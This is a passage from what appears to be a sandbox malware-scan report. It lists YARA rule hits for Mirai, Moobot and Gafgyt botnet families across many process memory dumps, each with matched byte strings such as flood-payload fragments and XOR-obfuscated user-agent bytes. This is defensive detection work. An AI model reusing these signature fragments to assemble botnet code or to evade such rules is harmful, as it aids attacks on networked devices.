39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7286.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6328.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6328.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6328.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6328.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6328.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6328.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6452.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6452.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6452.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6452.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6452.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6452.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7192.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7192.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7192.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7192.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7192.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7192.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7024.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6486.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6709.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6709.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6709.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6709.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6709.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6709.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7324.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7064.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6525.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6525.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6525.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6525.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6525.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6525.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6469.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6469.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6469.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6469.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6469.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 